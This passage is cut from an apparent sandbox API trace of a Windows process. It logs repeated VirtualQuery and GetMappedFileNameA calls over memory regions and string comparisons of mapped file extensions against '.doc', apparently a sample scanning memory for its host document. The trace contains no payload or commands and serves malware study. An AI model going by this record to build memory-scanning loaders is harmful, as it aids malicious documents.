Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2970000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x298e000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x298e000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x298e000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x2990000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2990000, AllocationBase=0x2990000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1e000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2990000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x29ae000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x29ae000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x29ae000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x29b0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x29b0000, AllocationBase=0x29b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1f000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x29b0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x29cf000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x29cf000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x29cf000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x29d0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x29d0000, AllocationBase=0x29d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x29d0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x29d2000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x29d2000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x29d2000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x29e0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x29e0000, AllocationBase=0x29e0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1f000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x29e0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x29ff000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x29ff000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x29ff000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x2a00000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2a00000, AllocationBase=0x2a00000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1f000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2a00000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x2a1f000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2a1f000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2a1f000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x2a20000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2a20000, AllocationBase=0x2a20000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1f000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2a20000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x2a3f000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2a3f000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2a3f000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.318] VirtualQuery (in: lpAddress=0x2a40000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2a40000, AllocationBase=0x2a40000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.318] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2a40000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2a42000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2a42000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2a42000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2a50000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2a50000, AllocationBase=0x2a50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2a50000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2a51000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2a51000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2a51000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\c_1255.nls")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2a60000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2a60000, AllocationBase=0x2a60000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2a60000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll")) returned 0x35 [0018.319] lstrcmpA (lpString1=".dll", lpString2=".doc") returned -1 [0018.319] VirtualQuery (in: lpAddress=0x2a61000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2a61000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2a61000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2a70000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2a70000, AllocationBase=0x2a70000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2a70000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2a71000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2a71000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2a71000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2a80000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2a80000, AllocationBase=0x2a80000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x100000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2a80000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2b80000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2b80000, AllocationBase=0x2b80000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1f000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2b80000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2b9f000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2b9f000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2b9f000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2ba0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2ba0000, AllocationBase=0x2ba0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xee000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2ba0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2c8e000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2c8e000, AllocationBase=0x2ba0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2c8e000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2c90000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2c90000, AllocationBase=0x2ba0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2c90000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2ca0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2ca0000, AllocationBase=0x2ca0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1f000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2ca0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2cbf000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2cbf000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2cbf000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2cc0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2cc0000, AllocationBase=0x2cc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1f000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2cc0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2cdf000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2cdf000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2cdf000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2ce0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2ce0000, AllocationBase=0x2ce0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2ce0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2ce2000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2ce2000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2ce2000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2cf0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2cf0000, AllocationBase=0x2cf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3a000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2cf0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2d2a000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2d2a000, AllocationBase=0x2cf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2d2a000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2d39000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2d39000, AllocationBase=0x2cf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.319] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2d39000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.319] VirtualQuery (in: lpAddress=0x2d3a000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2d3a000, AllocationBase=0x2cf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x36000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2d3a000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x2d70000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2d70000, AllocationBase=0x2d70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1f000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2d70000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x2d8f000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2d8f000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2d8f000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\oleaccrc.dll")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x2d90000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2d90000, AllocationBase=0x2d90000, AllocationProtect=0x8, __alignment1=0x0, RegionSize=0x12000, State=0x1000, Protect=0x8, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2d90000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\Windows\\System32\\en-US\\UIAutomationCore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\uiautomationcore.dll.mui")) returned 0x47 [0018.320] lstrcmpA (lpString1=".mui", lpString2=".doc") returned 1 [0018.320] VirtualQuery (in: lpAddress=0x2da2000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2da2000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2da2000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\en-US\\UIAutomationCore.dll.mui" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\en-us\\uiautomationcore.dll.mui")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x2db0000, 